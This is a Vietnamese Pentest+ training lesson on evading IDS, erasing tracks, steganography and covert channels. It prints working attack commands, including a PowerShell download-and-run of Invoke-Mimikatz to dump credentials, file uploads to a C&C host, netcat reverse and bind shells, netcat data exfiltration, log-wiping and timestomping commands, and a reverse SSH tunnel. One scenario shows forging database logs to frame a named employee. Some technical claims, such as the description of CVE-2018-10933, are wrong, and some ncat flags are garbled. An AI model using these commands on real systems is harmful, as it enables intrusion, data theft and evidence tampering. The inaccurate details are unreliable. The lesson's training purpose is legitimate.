CompTIA Pentest+ (PT0-002) Bài 8: Tránh bị phát hiện và che giấu dấu vết
Trong cuộc tấn công thực tế, sau khi xâm nhập thành công vào hệ thống mục tiêu, tin tặc sẽ cố gắng ẩn mình trước sự phát hiện của quản trị viên và các giải pháp bảo mật. Đồng thời họ sẽ triển khai các biện pháp để xóa dấu vết và làm sạch hiện trường nhằm đánh lạc hướng điều tra, trì hoãn thời gian phát hiện và gia tăng thiệt hại.
Tuy nhiên khi thực hiện kiểm tra xâm nhập, các chuyên gia bảo mật cũng sẽ mô phỏng những hành vi tương tự để đánh giá khả năng của tổ chức trong việc phát hiện, ngăn chặn và điều tra các cuộc tấn công tinh vi. Từ đó đưa ra các khuyến nghị nhằm nâng cao an ninh và sẵn sàng ứng phó.
Trong bài này chúng ta sẽ tìm hiểu một số kỹ thuật và công cụ phổ biến giúp đội ngũ pentest của Security365 vượt qua các rào cản phát hiện, che giấu hoạt động và triệt tiêu bằng chứng như những tên tội phạm mạng thực thụ.
I. Trốn tránh sự phát hiện
- Tránh bị “dính radar”
- Trong giai đoạn trinh sát, đội cần kiểm tra xem liệu họ có thể vượt qua hàng rào phòng thủ mạng mà không bị phát hiện hay không.
- Nmap có một số cách để “ẩn thân”:
- Sử dụng phân mảnh (fragmentation) cùng với việc xáo trộn thứ tự các máy chủ được quét.
- Các tùy chọn giả mạo (spoofing) đánh lừa thiết bị bằng cách sử dụng mồi nhử (decoy), báo cáo địa chỉ giả và/hoặc sử dụng số cổng cụ thể.
Ví dụ:
Để quét mạng của comptia.academy mà không bị tường lửa IDS phát hiện, đội Security365 áp dụng các thủ thuật sau:
- Sử dụng kỹ thuật phân mảnh gói tin với tùy chọn
-f
:
nmap -sS -f -p- comptia.academy
- Gói tin được chia thành các mảnh nhỏ, khó bị phát hiện bởi IDS/IPS
- Kết hợp với tùy chọn
--randomize-hosts
để scan các IP một cách ngẫu nhiên thay vì theo thứ tự, tránh để lại dấu vết quét tuần tự - Sử dụng tùy chọn
-D
để tạo các địa chỉ mồi nhử (decoy), khiến cho việc quét giống như xuất phát từ nhiều nguồn:
nmap -sS -D 192.168.1.101,192.168.1.123,ME,RND:5 comptia.academy
- Các gói tin giả sẽ được gửi từ địa chỉ 101, 123, máy của hacker (ME) và 5 IP ngẫu nhiên (RND), xen kẽ với IP thật, gây nhiễu cho việc truy vết
- Giả mạo địa chỉ MAC bằng cách sử dụng tùy chọn
--spoof-mac
với MAC của các nhà sản xuất phổ biến như Apple, Samsung:
nmap -sS -p 80 --spoof-mac Samsung comptia.academy
Mỗi gói tin quét sẽ mang một địa chỉ MAC giả ngẫu nhiên, khiến ai đó nghĩ rằng các thiết bị này đang hoạt động trên mạng.
- Sử dụng mồi nhử (decoy)
- Trong quá trình quét cổng trên máy chủ, bạn có thể sử dụng mồi nhử để làm cho các gói tin dường như đến từ một thiết bị đáng tin cậy hoặc ngẫu nhiên.
- Mục đích là tạo ra các gói tin giả từ “mồi nhử” để kẻ tấn công thực sự “hòa vào” đám đông.
- Có thể sử dụng tùy chọn này bằng cách phát hành lệnh:
-D [decoy1, decoy2, decoy3, etc.] <mục tiêu>
. - Một tùy chọn khác là sử dụng mồi nhử được tạo ngẫu nhiên bằng cách sử dụng tùy chọn sau:
nmap -sS -sV -D RND:3 nmap.scanme.org
Ví dụ:
Để quét trang comptia.academy mà không để lại dấu vết, đội Security365 sử dụng 5 địa chỉ IP mồi nhử ngẫu nhiên:
nmap -sS -sV -p80,443 -D RND:5 comptia.academy
- Tùy chọn
-D RND:5
sẽ tạo ra 5 địa chỉ IP decoy bất kỳ và luân phiên sử dụng chúng - Trên hệ thống giám sát, comptia.academy sẽ thấy các nỗ lực quét đến từ 6 nguồn khác nhau (5 decoy + 1 thật)
- Họ không dễ dàng để xác định được IP nào là thủ phạm thực sự đằng sau các hoạt động đáng ngờ
- Số lượng decoy càng nhiều, càng khó để lọc và truy vết dấu vết tấn công
- Báo cáo địa chỉ giả
- Một tùy chọn để đánh lừa hệ thống phát hiện xâm nhập (IDS) là sử dụng địa chỉ IP giả để tạo ra ấn tượng rằng gói tin đến từ một nguồn khác.
- Tùy chọn khác là làm cho đầu dò có vẻ như đến từ một thiết bị cụ thể bằng cách tạo địa chỉ MAC nguồn giả
- Bạn có thể thực hiện điều này theo một trong hai cách:
- Chỉ định một MAC ngẫu nhiên dựa trên danh mục nhà cung cấp, ví dụ:
nmap -sT --spoof-mac apple scanme.nmap.org
, tạo một địa chỉ MAC ngẫu nhiên của Apple - Sử dụng một địa chỉ MAC cụ thể như
nmap -sT --spoof-mac B7:B1:F9:BC:D4:56 scanme.nmap.org
, tạo một địa chỉ phần cứng ngẫu nhiên.
Ví dụ:
Để che giấu địa chỉ IP thực, đội Security365 thực hiện:
- Chỉ định IP nguồn giả từ dải mạng nội bộ của comptia.academy:
nmap -S 192.168.1.123 -p80 -Pn comptia.academy
Tùy chọn -S
cho phép gán IP nguồn tùy ý cho các gói quét. IDS sẽ báo cáo hoạt động nghi ngờ xuất phát từ IP này thay vì từ IP thực của hacker.
- Tạo địa chỉ MAC giả bằng tùy chọn
--spoof-mac
:
nmap -sS -p80 --spoof-mac Dell comptia.academy
Kết quả cho thấy máy chủ web của dell (một nhà cung cấp được tin tưởng) đang quét cổng, có thể sẽ bị bỏ qua hoặc đánh giá là báo động sai (false positive).
- Thay đổi số hiệu cổng
- Nmap cung cấp một tùy chọn để sử dụng một số cổng nguồn cụ thể bằng cách sử dụng một trong các lệnh sau:
--source-port <portnum>
, ví dụ:nmap --source-port 53 scanme.nmap.org
-g <portnum>
, ví dụ:nmap -g 53 scanme.nmap.org
- Trong cả hai tùy chọn, đầu dò sẽ có vẻ như bắt nguồn từ cổng 53, được sử dụng bởi máy chủ DNS
Ví dụ:
Hacker giả dạng địa chỉ nguồn của gói tin quét đến từ cổng 80 (HTTP) để qua mặt tường lửa:
nmap -g 80 -p- comptia.academy
Trên thiết bị tường lửa sẽ thấy rất nhiều kết nối đến cổng 80 từ một webserver bên ngoài. Do là cổng dịch vụ phổ biến của HTTP nên hoạt động này dễ bị cho là bình thường và bỏ qua.
Hacker cũng có thể mạo danh làm các gói tin DNS bằng cách sử dụng cổng nguồn 53:
nmap --source-port 53 -sU comptia.academy
Khi đó lưu lượng quét (thực chất là UDP) trông sẽ giống như các truy vấn DNS hợp lệ đến máy chủ.
- Giảm tốc độ quét
- Hầu hết thiết bị mạng hiện đại đều được điều chỉnh để nhận ra các kỹ thuật quét cơ bản như TCP SYN scan và các kỹ thuật tránh phát hiện và giả mạo khác.
- Ví dụ: Snort là một IDS mã nguồn mở phổ biến chứa nhiều chữ ký để phát hiện các quét Nmap.
- Nếu phát hiện quét “hung hăng”, Snort sẽ đưa ra cảnh báo.
- Khi kiểm tra, đội có thể tránh bị phát hiện bằng cách sử dụng công tắc
-T
để làm chậm quét hoặc sử dụng các tùy chọn khác.
Ví dụ:
Thay vì quét toàn bộ các cổng với tốc độ nhanh nhất, đội Security365 áp dụng:
- Chỉ quét 100 cổng phổ biến nhất với tốc độ chậm nhất bằng lệnh:
nmap -sS -p- -T0 --top-ports 100 comptia.academy
Tùy chọn -T0
sẽ giãn khoảng cách giữa mỗi gói tin lên 5 phút, thay vì vài mili giây như bình thường. Điều này giúp các gói dò không gây nghi ngờ vì giống như lưu lượng người dùng thủ công.
- Ngắt kết nối TCP một cách “lịch sự” sau khi nhận được phản hồi bằng cách thêm tùy chọn
--scan-delay
:
nmap -sS -p 80 --scan-delay 2000ms comptia.academy
Cứ sau 2 giây, Nmap sẽ chờ phản hồi SYN-ACK rồi mới gửi gói RST để đóng kết nối. Cách này tránh việc dồn dập các kết nối nửa mở (half-open), gây nghi vấn với hệ thống giám sát.
- Quét từng máy một cách từ từ bằng cách kết hợp các tùy chọn:
nmap -sn -T1 --max-hostgroup 1 --min-rate 1 192.168.1.0/24
Tùy chọn -T1
duy trì thời gian chờ dài giữa mỗi gói tin quét, --max-hostgroup 1
chỉ quét từng IP một, --min-rate 1
giới hạn tỷ lệ gửi gói tin xuống chỉ 1 gói/giây.
- Vượt qua kiểm soát truy cập mạng (NAC – Network Access Control)
- Thiết bị NAC hạn chế lưu lượng truy cập bằng cách chỉ cho phép các máy chủ được ủy quyền truy cập vào cơ sở hạ tầng của công ty.
- Cách phổ biến nhất để vượt qua NAC là truy cập vào một thiết bị đã được xác thực, sau đó sử dụng thiết bị đó để lọt qua thiết bị NAC.
- Ví dụ: tin tặc có thể sử dụng một điểm truy cập không dây (WAP) lạ để khiến thiết bị được ủy quyền kết nối.
- Máy tấn công sau đó sẽ sử dụng nó để chuyển tiếp lưu lượng độc hại vào mạng được bảo vệ.
Ví dụ:
Đội Security365 tiến hành phát quảng bá SSID giả mạo “comptiaguest” tại sảnh chính:
- Cấu hình trên bộ phát Wifi Pineapple, dùng số model và BSSID giống hệt với WAP thật
- Tăng cường độ tín hiệu để áp đảo WAP gốc
- Nhiều thiết bị của khách và nhân viên tự động chuyển kết nối sang WAP giả do nghĩ đó là mạng “quen thuộc”
Khi một thiết bị kết nối, hacker sẽ:
- Chặn và giải mã lưu lượng bằng kỹ thuật ARP Spoofing, SSL Strip
- Cài đặt chứng chỉ SSL giả để đánh cắp dữ liệu đăng nhập
- Lây nhiễm mã độc điều khiển từ xa và phần mềm gián điệp
- Truy cập mạng nội bộ thông qua thiết bị nhiễm độc bất chấp NAC
- Mở rộng quyền truy cập và di chuyển sang vùng mạng khác
Hacker cũng có thể cấu hình phát wifi Karma attack, tự động mạo danh bất kỳ SSID nào mà nạn nhân từng kết nối. Nhờ đó dễ dàng thu hút nhiều thiết bị “sập bẫy” hơn, phá vỡ hoàn toàn kiểm soát của NAC.
- Tấn công “sống tại chỗ” (Living of the Land – LoTL)
- Tấn công LoTL còn được gọi là mã độc không tệp (fileless malware) vì không sử dụng virus.
- Cuộc tấn công sử dụng các công cụ vốn là một phần của hệ điều hành hoặc công cụ quản trị
- Thường sẽ không kích hoạt bất kỳ cảnh báo nào và khó phát hiện hơn.
- Một số công cụ bao gồm:
- Microsoft PowerShell (PS)
- Windows Management Instrumentation (WMI)
- Visual Basic Scripts (VBScript) và Mimikatz
Ví dụ: Sau khi xâm nhập máy trạm, đội Security365 tận dụng sẵn PowerShell để:
- Chạy mimikatz để thu thập hash mật khẩu trong bộ nhớ, crack và leo thang đặc quyền
Copy codepowershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
- Sử dụng WMI để liệt kê danh sách phần mềm cài đặt và tìm lỗ hổng
Copy codeGet-WmiObject -Class Win32_Product | Select-Object Name, Version
- Gửi tệp tin đánh cắp được về C&C thông qua giao thức HTTP
Copy codepowershell -c "(New-Object System.Net.WebClient).UploadFile('http://comptia.academy/upload.php', 'important.docx')"
- Thực thi các đoạn mã khai thác bằng VBScript từ xa mà không cần tương tác người dùng
Copy codewmic os get /format:"https://comptia.academy/malware.xsl"
Tất cả hoạt động trên chỉ dùng các tính năng sẵn có của hệ điều hành Windows, không tạo ra bất kỳ tệp thực thi đáng ngờ nào. Phần mềm diệt virus và giải pháp EDR khó có thể nhận diện và cảnh báo hành vi bất thường.
- Xóa dấu vết
- Kẻ tấn công sẽ cố gắng làm cho các nhà điều tra khó xác định cuộc tấn công bắt đầu như thế nào và ai chịu trách nhiệm
- Xóa dấu vết được thực hiện nhằm:
- Cố gắng che giấu nguồn gốc của hành vi độc hại và xóa mọi dấu vết còn lại của sự kiện đó trước khi rời khỏi môi trường mục tiêu.
- Dọn dẹp sau khi tập PenTest bằng cách xóa shell, thông tin đăng nhập do tester tạo và các công cụ.
Ví dụ: Trước khi kết thúc cuộc tấn công, hacker luôn thực hiện các bước sau:
- Xóa logs đăng nhập SSH, RDP, event viewer, trình duyệt và ứng dụng
- Xóa hoặc đổi tên các tập tin hệ thống bị sửa đổi như /etc/passwd, /etc/shadow
- Gỡ bỏ tài khoản và backdoor đã cài đặt, khôi phục lại cấu hình gốc
- Điều chỉnh mốc thời gian MAC trên các tệp tin, thư mục để tránh nghi ngờ
- Mã hóa hoặc xóa các tệp tin tải lên, nhật ký hoạt động và kết quả khai thác
- Tắt tính năng ghi log và đồng bộ thời gian từ xa để ngụy tạo dấu vết giả
Sau khi hoàn tất cuộc kiểm tra, đội Security365 cũng phải dọn dẹp môi trường bằng cách:
- Báo cáo chi tiết về các lỗ hổng, tài khoản tạo ra và hướng dẫn sửa chữa
- Gỡ bỏ các shell, rootkit, phần mềm, script để lại trên hệ thống
- Khôi phục lại các cài đặt, dịch vụ bảo mật bị vô hiệu hóa
- Đặt lại mật khẩu cho các tài khoản mới tạo hoặc chiếm quyền
- Xóa dữ liệu mẫu, mã độc, tệp cấu hình được dùng để kiểm tra
- Khởi động lại các dịch vụ và máy chủ để áp dụng các thay đổi
- Dọn dẹp nhật ký và mục ghi
- Đội có thể xóa toàn bộ tệp nhật ký hoặc các mục nhất định. Ngoài ra, họ có thể sửa đổi các giá trị thời gian để cản trở việc điều tra.
- Các phương pháp xóa nhật ký sự kiện bao gồm:
- Sử dụng meterpreter của Metasploit và đưa ra lệnh
clearev
, sẽ xóa tất cả nhật ký sự kiện của Windows. - Sử dụng giao diện dòng lệnh (CLI) trong Windows, bạn có thể xóa từng danh mục nhật ký.
- Sử dụng meterpreter của Metasploit và đưa ra lệnh
- Trên hệ thống Linux, có một số phương pháp để xóa nhật ký
- Trong một số trường hợp, bạn không muốn xóa tất cả nhật ký, chỉ xóa các mục cụ thể.
Ví dụ: Sau khi chiếm quyền điều khiển domain controller, hacker muốn xóa dấu vết truy cập:
- Mở Event Viewer > Windows Logs > Security, xóa các sự kiện về đăng nhập thành công của tài khoản quản trị
- Kết nối qua RDP tới máy chủ Linux, chạy lệnh để xóa nhật ký hoạt động:
Copy code# xóa sự kiện log ssh
sed -i '/sshd/d' /var/log/auth.log
# xóa log sudo và su
cat /dev/null > /var/log/sudo.log
cat /dev/null > /var/log/su.log
# xoay vòng tất cả system logs
/usr/sbin/logrotate -f /etc/logrotate.conf
rm /var/log/*1 /var/log/*gz
- Trên máy trạm, xóa lịch sử lệnh và output của các công cụ dò quét, khai thác:
Copy coderm ~/.bash_history
history -c
echo > ~/.zsh_history
- Thay đổi các mục ghi nhật ký
- Thay vì xóa một mục hoặc toàn bộ nhật ký, bạn có thể thay đổi các mục ghi, quy kết cho một cá nhân khác.
- Các phương pháp để đạt được điều này bao gồm:
- Sửa đổi mục ghi đăng nhập người dùng trong nhật ký bảo mật của Windows
- Đánh cắp token của người dùng đặc quyền và sau đó thực hiện một nhiệm vụ độc hại
Ví dụ: Sau khi đánh cắp mật khẩu của quản trị viên John, tin tặc dùng tài khoản này để xóa sổ một vài khách hàng khó chịu trong cơ sở dữ liệu:
Copy codemysql -u john -p
DELETE FROM customers WHERE id IN (27, 45, 96);
Hệ thống ghi nhận hành vi này là do John thực hiện lúc 14h35. Tuy nhiên hacker nhanh chóng chỉnh sửa bản ghi log /var/lib/mysql/query.log và đổi tên John thành Sarah – một nhân viên đang tranh chấp gay gắt với công ty. Đồng thời hắn cũng thay đổi giá trị timestamp thành 16h10 – thời điểm Sarah đang họp vắng mặt. Lúc này với việc “dàn dựng hiện trường” tài tình, quản trị viên sẽ nghĩ rằng Sarah chính là kẻ phá hoại từ bên trong!
- Sửa đổi mốc thời gian
- Một người điều tra pháp y giỏi sẽ cố gắng tái tạo lại chuỗi sự kiện bằng cách tương quan dữ liệu.
- Nếu bạn có thể sửa đổi thời gian mà một số sự kiện được ghi lại, bạn có thể đánh lừa các nhà điều tra trong quá trình điều tra pháp y.
- Thay đổi các giá trị dựa trên thời gian không chỉ giới hạn ở nhật ký sự kiện.
- Bạn cũng có thể thay đổi siêu dữ liệu MACE của tệp bằng công cụ meterpreter của Metasploit có tên là TimeStomp
- Cho phép bạn xóa hoặc sửa đổi thông tin liên quan đến dấu thời gian trên các tệp.
Ví dụ: Tin tặc tải lên webshell lúc 01h45 sáng để giành quyền truy cập vào máy chủ web. Tuy nhiên để đánh lạc hướng, hắn dùng TimeStomp để chỉnh sửa thuộc tính tệp:
Copy codetimestomp webshell.php -z "25/12/2021 00:00:00"
Lệnh trên sẽ điều chỉnh tất cả các giá trị thời gian liên quan như Modified, Accessed, Created, Entry Modified thành nửa đêm Giáng sinh năm trước.
Hắn cũng chỉnh sửa thời gian hệ thống trên máy chủ để xóa dấu vết cuộc tấn công bằng lệnh:
Copy codedate -s "25 DEC 2021 00:10:00"
Nhờ đó, khi xem lại nhật ký truy cập web, các bản ghi về cuộc tấn công bị xáo trộn thời gian sẽ khiến nhà điều tra rất khó xác định đúng trình tự và thời điểm đột nhập.
- Xóa hoặc phá hủy dữ liệu
- Có thể xóa các mục ghi bằng cách sử dụng một trong các cách sau:
- Khi sử dụng Bash shell, nhập
echo "" > ~/.bash_history
hoặchistory -c
. - Trong Windows, xóa lịch sử bằng cách nhấn Alt+F7 hoặc chấm dứt quy trình.
- Trong PowerShell, xóa lịch sử bằng cách sử dụng lệnh
Clear-History
.
- Khi sử dụng Bash shell, nhập
- Để xóa hoàn toàn một tệp, bạn có thể thực hiện như sau:
- Trên hệ thống Linux, có thể sử dụng lệnh
shred
. - Trên Windows, ghi đè một volume bằng:
format d: /fs:NTFS /p:1
.
- Trên hệ thống Linux, có thể sử dụng lệnh
Ví dụ: Sau khi thực hiện xong các hoạt động thăm dò và khai thác, hacker luôn thực hiện xóa dấu vết cuối cùng trước khi “rút lui”:
- Xóa logs đăng nhập, command history, browser history, temp files…
- Xóa và ghi đè các tập tin độc hại, malware, toolkits tấn công
- Mã hóa hoặc nén dữ liệu nhạy cảm đánh cắp được trước khi chuyển ra ngoài qua các kênh ẩn
- Sử dụng các công cụ “dọn dẹp sạch sẽ” như CCleaner, SDMem, Eraser…
- Ghi đè bộ nhớ ngẫu nhiên nhiều lần để tránh việc khôi phục RAM
- Bẻ khóa BIOS, format ổ cứng ở cấp thấp và ghi đè vài lần để xóa dấu vết triệt để
II. Sử dụng giấu tin (steganography) để che giấu và ngụy trang
- Sử dụng giấu tin để che giấu và ngụy trang thông điệp
- Ngày nay, có hàng trăm công cụ giấu tin có sẵn để che giấu thông điệp trước sự giám sát
- Steghide là công cụ dòng lệnh mã nguồn mở được sử dụng để che giấu payload trong tệp hình ảnh hoặc âm thanh.
- Có thể nén, che giấu và mã hóa dữ liệu bằng cách sử dụng các định dạng hình ảnh như JPEG, BMP cùng với các tệp âm thanh dùng định dạng WAV và AU.
- OpenStego tương tự như hầu hết các công cụ khác, ở chỗ bạn nhúng thông điệp vào một tệp. Tuy nhiên, bạn cũng có thể nhúng hình mờ.
Ví dụ:
Tin tặc muốn gửi thông điệp chỉ thị tấn công cho các điệp viên. Để giữ bí mật, hắn dùng OpenStego để:
- Mã hóa nội dung bằng khóa bí mật và giấu vào trong một bức ảnh phong cảnh bình thường
- Kẻ nhận có thể tải ảnh về, dùng OpenStego với cùng khóa để giải mã và đọc thông điệp
- Khi bị bắt, ảnh trông vẫn vô hại, rất khó để cơ quan chức năng phát hiện nội dung độc hại bên trong
- Ngoài ra tin tặc còn nhúng logo công ty vào ảnh như một dạng watermark để tránh bị sao chép trái phép
Một kịch bản khác, khi đánh cắp hàng trăm mật khẩu, hacker không thể chuyển một lượng lớn dữ liệu cùng lúc mà không bị phát hiện.
Thay vào đó, hắn tải các bảng mật khẩu vào các đoạn audio và tệp JPEG giả vờ là các podcasts và ảnh chụp gia đình gửi qua email cá nhân.
Tập tin nén chỉ khoảng 1.3Mb cho phép truyền qua mạng một cách bình thường, không bị hệ thống IDS cảnh báo.
- Sử dụng Luồng dữ liệu thay thế (ADS – Alternate Data Stream) để che dấu
- ADS của NTFS ban đầu được thiết kế để cung cấp khả năng tương thích với các hệ thống tệp không phải Windows.
- Tuy nhiên, phương pháp này cũng có thể được sử dụng để cho phép dữ liệu được lưu trữ trong các tệp ẩn được liên kết với một tệp thông thường có thể nhìn thấy.
- Các luồng không bị giới hạn về kích thước và có thể có nhiều hơn một luồng được liên kết với tệp hiển thị.
- Điều này cho phép kẻ tấn công ẩn công cụ và dữ liệu trên một hệ thống bị xâm nhập và truy xuất chúng sau đó.
Ví dụ:
Sau khi lấy được danh sách tài khoản/mật khẩu của công ty, hacker lưu chúng vào một ADS nhằm tránh sự phát hiện:
- Sử dụng lệnh
type data.txt > music.mp3:secret.txt
để ghi nội dungdata.txt
vào ADS của tập tin nhạcmusic.mp3
- Khi đó
secret.txt
không hiển thị ở Explorer và sẽ không bị các công cụ bảo mật như AV hay EDR quét. - Để xem ADS đang ẩn bên trong, hacker chạy PowerShell:
Get-Item -Path music.mp3 -Stream *
- Để đọc nội dung ADS, dùng lệnh
more < music.mp3:secret.txt
hoặc mở notepadmusic.mp3:secret.txt
- Để xóa ADS mà không ảnh hưởng đến tập tin gốc:
Remove-Item -Path music.mp3 -Stream secret.txt
Tương tự, tin tặc có thể ẩn backdoor, rootkit, keylogger, password dumper vào trong các tập tin hệ thống hoặc thư viện dùng chung mà không lo bị phát hiện.
Mỗi khi cần, hắn chỉ cần truy xuất công cụ từ ADS và kích hoạt nó trong bộ nhớ để tấn công vào mục tiêu.
- Các phương pháp khác để che dấu thông tin
- Snow là công cụ steganography dòng lệnh dùng để ẩn payload dữ liệu trong khoảng trắng của tệp văn bản sử dụng định dạng ASCII.
- Dữ liệu có thể được ẩn bằng cách sử dụng văn bản thuần túy hoặc thông điệp có thể được mã hóa.
- Coagula và Sonic Visualizer là các công cụ sử dụng âm thanh để ẩn một hình ảnh vào tệp .wav, sau đó chuyển đổi văn bản trong phổ âm.
- Tạo một hình ảnh chứa văn bản, sau đó chuyển đổi hình ảnh thành tệp .wav
- Hiển thị văn bản bằng cách sử dụng phổ âm thanh
Ví dụ:
Hacker muốn truyền lệnh điều khiển botnet mà không bị phát hiện, hắn thực hiện:
- Chèn mã độc dạng văn bản vào một bản nhạc MP3 bằng công cụ MP3Stego
- MP3Stego giấu văn bản bằng cách điều chỉnh từng bit ít quan trọng của tệp nhạc
- Những thay đổi này rất khó phát hiện bởi tai người nhưng lại dễ dàng trích xuất bằng phần mềm tương ứng
- Bot sau khi nhận file nhạc sẽ giải mã ra lệnh bằng MP3Stego và thực thi mã độc, trong khi mọi thứ vẫn hoạt động bình thường
Trong một tình huống khác, điệp viên A muốn giao chỉ thị cho điệp viên B:
- A viết chỉ thị lên giấy rồi chụp ảnh, dùng Coagula để chuyển đổi tấm ảnh chứa chỉ thị thành file âm thanh dưới dạng spectrogram
- Spectrogram chỉ hiện một bức tranh trừu tượng, rất khó nhận thấy thông điệp ẩn
- A gửi file âm thanh qua kênh liên lạc an toàn cho B
- B dùng Sonic Visualizer để phân tích spectrogram và hiển thị lại ảnh/tin nhắn ban đầu
- Kỹ thuật này còn có thể chuyển hình ảnh thành mã morse, dấu mach,… trước khi chuyển sang âm thanh
III. Thiết lập kênh truyền bí mật
- Ngăn chặn rò rỉ dữ liệu (Data Exfiltration)
- Rò rỉ dữ liệu là khi dữ liệu được lưu trữ bên trong một mạng riêng được chuyển sang một mạng bên ngoài mà không được phép
- Điều này có thể là kết quả của những hành vi sau:
- Tấn công kỹ thuật xã hội như email lừa đảo để lấy dữ liệu
- Tải xuống dữ liệu vào một thiết bị không an toàn như ổ USB
- Mã độc fileless như tấn công dựa trên PowerShell sử dụng các payload tùy chỉnh
- Truyền dữ liệu đến các tài nguyên đám mây không được bảo mật
Ví dụ:
Hacker gửi email giả mạo quản trị mạng với nội dung:
“Do nghi ngờ vi phạm bản quyền, anh/chị vui lòng gửi source code dự án XYZ để kiểm tra”.
Lợi dụng tâm lý sợ bị trừng phạt, một nhân viên gửi kèm toàn bộ source đang làm chưa công bố.
Trong một cuộc tấn công khác, hacker lẻn vào văn phòng, cài keylogger và script thu thập bản sao CSDL bảo mật vào USB rồi giấu trong ngăn bàn của một nạn nhân.
Sau vài ngày lấy lại USB để thu thập kết quả mà không ai hay biết.
Sau khi lây nhiễm mã độc fileless qua lỗ hổng Office Macro từ một file văn bản dạng PDF, hacker có khả năng:
- Chụp màn hình và ghi lại hoạt động bàn phím của nạn nhân
- Đọc tất cả các email đến và đi, tin nhắn trò chuyện
- Tự động định vị và tải lên các tài liệu nhạy cảm lên máy chủ C&C thông qua giao thức HTTP/FTP
Một nhân viên IT vô tình đồng bộ thư mục làm việc chứa mã nguồn và tài liệu mật với tài khoản điện toán đám mây cá nhân như Dropbox, Google Drive để tiện làm việc ở nhà.
Tuy nhiên những dữ liệu nhạy cảm này không được mã hóa đúng mực và dễ dàng bị hacker truy cập nếu tài khoản đám mây bị tấn công.
- Lợi dụng Secure Shell (SSH)
- Khi muốn giao tiếp an toàn với một máy chủ Linux từ xa, thường sẽ sử dụng SSH – giao thức cung cấp cách trao đổi thông tin một cách bảo mật
- Trong một phiên kết nối SSH, một máy tính sẽ đóng vai trò máy khách (client) và một máy tính sẽ đóng vai trò máy chủ (server).
- Khi thiết lập kết nối, máy khách có thể thao tác với các đối tượng, truyền tệp hoặc quản lý máy tính bằng cách đưa ra các lệnh
- Tin tặc liên tục cố gắng khai thác các máy chủ SSH dễ bị tấn công
- Nmap có một số lệnh và script mà đội có thể sử dụng để kiểm tra xem mục tiêu có dễ bị tổn thương không.
Ví dụ:
Để tìm máy chủ SSH chạy phiên bản dễ bị khai thác như OpenSSH < 7.x, hacker dò quét dải mạng của công ty với Nmap:
nmap -p 22 --open --script ssh-brute 192.168.1.0/24
- Tìm kiếm các cổng 22 đang mở trong dải mạng và dùng script ssh-brute để thử từ điển tên người dùng/mật khẩu phổ biến
Sau khi có được danh sách các máy chủ “dễ dãi”, tin tặc lợi dụng lỗ hổng CVE-2018-10933 để:
- Kết nối SSH với quyền người dùng thường, tự nâng cấp lên quyền root mà không cần mật khẩu
- Thêm khóa công khai của tin tặc vào file ủy quyền SSH để truy cập lại sau
- Chỉnh sửa cấu hình SSH cho phép đăng nhập root, tắt xác thực 2 yếu tố
- Sử dụng SSH để truy cập các máy chủ khác trong mạng với các chứng chỉ đã đánh cắp
Hoặc tin tặc có thể sử dụng SSH tunneling để mã hóa và rò rỉ dữ liệu ra ngoài mà không bị theo dõi:
ssh -f -N -R 2222:127.0.0.1:22 attacker@comptia.academy
- Tạo một tunnel đảo ngược (reverse) định tuyến cổng 22 ở máy nội bộ đến cổng 2222 của máy chủ attacker công khai
- Tất cả lưu lượng đi qua kênh này sẽ bị mã hóa và ẩn trong truy cập SSH thông thường
- Attacker có thể tải dữ liệu đánh cắp thông qua tunnel ẩn này mà IDS/DLP rất khó phát hiện
- Tận dụng Netcat
- Netcat (nc) là một công cụ dòng lệnh đa năng dùng để đọc và ghi dữ liệu qua kết nối mạng.
- Nó có thể tạo hoặc kết nối đến máy chủ TCP, truyền tệp, chạy mã thực thi (như reverse shell) khi kết nối được tạo
- Netcat cũng có thể hoạt động như proxy/relay đơn giản, kiểm tra dịch vụ, thậm chí quét cổng.
- Cú pháp cơ bản của Netcat là
nc [tùy chọn] [địa chỉ đích] [cổng]
.
Ví dụ: Sau khi xâm nhập được vào máy nạn nhân, hacker dùng Netcat thiết lập kết nối ngược về máy chủ điều khiển:
Copy codenc -e /bin/bash 123.123.123.123 4444
Lệnh này sẽ thực thi /bin/bash shell
và chuyển hướng input/output qua kết nối TCP tới cổng 4444 của máy 123.123.123.123.
Hacker cũng có thể lắng nghe kết nối trên một cổng cụ thể như một backdoor:
Copy codenc -l -p 5555 -e /bin/bash
Netcat sẽ lắng nghe trên cổng 5555 và thực thi shell bash bất cứ khi nào nhận được kết nối từ xa đến cổng này.
Để truyền tải dữ liệu đánh cắp qua mạng, hacker sử dụng khả năng của Netcat truyền nhận dữ liệu qua ống dẫn (pipe):
- Trên máy điều khiển, chạy Netcat lắng nghe ở chế độ nhận file:
nc -l -p 9999 > stolen_data.zip
- Trên máy nạn nhân, nén dữ liệu và gửi qua Netcat:
zip -r stolen_data.zip /secret_folder
nc -w 3 123.123.123.123 9999 < stolen_data.zip
Dữ liệu sẽ được nén và truyền qua kết nối mạng ẩn giữa 2 máy mà không để lại dấu vết trong log hệ thống. 4. Nâng cao với Ncat - Ncat là công cụ dòng lệnh tương tác dùng để đọc và ghi dữ liệu qua mạng. Nó tương tự như Netcat nhưng có nhiều tính năng nâng cao - Khi thiết lập liên kết, Ncat có thể hoạt động ở một trong hai chế độ: + Connect (hoặc client): máy chủ sẽ cố gắng khởi tạo kết nối đến một dịch vụ đang lắng nghe. + Listen (hoặc server): máy chủ sẽ lắng nghe yêu cầu kết nối đến. - Ncat được tích hợp sẵn trong Nmap và hỗ trợ Windows, Linux và Mac OS. Ví dụ: Để tạo kết nối được mã hóa giữa máy tấn công và máy nạn nhân, hacker có thể dùng Ncat với tùy chọn `--ssl`: - Trên máy nạn nhân (server), tạo chứng chỉ tự ký và lắng nghe kết nối SSL:
ncat –listen –ssl –sh-cert cert.pem –sh-key key.pem 4444
- Trên máy tấn công (client), kết nối với chế độ SSL:
ncat –ssl 192.168.1.100 4444
Dù có bắt gói tin giữa 2 máy, nội dung giao tiếp và dữ liệu cũng sẽ bị mã hóa, khó có thể giải mã. Ncat còn có thể hoạt động như một proxy ẩn danh khi sử dụng tùy chọn `-c` hoặc `--sh-exec`:
ncat -l 8080 –sh-exec “ncat hackthissite.org 80”
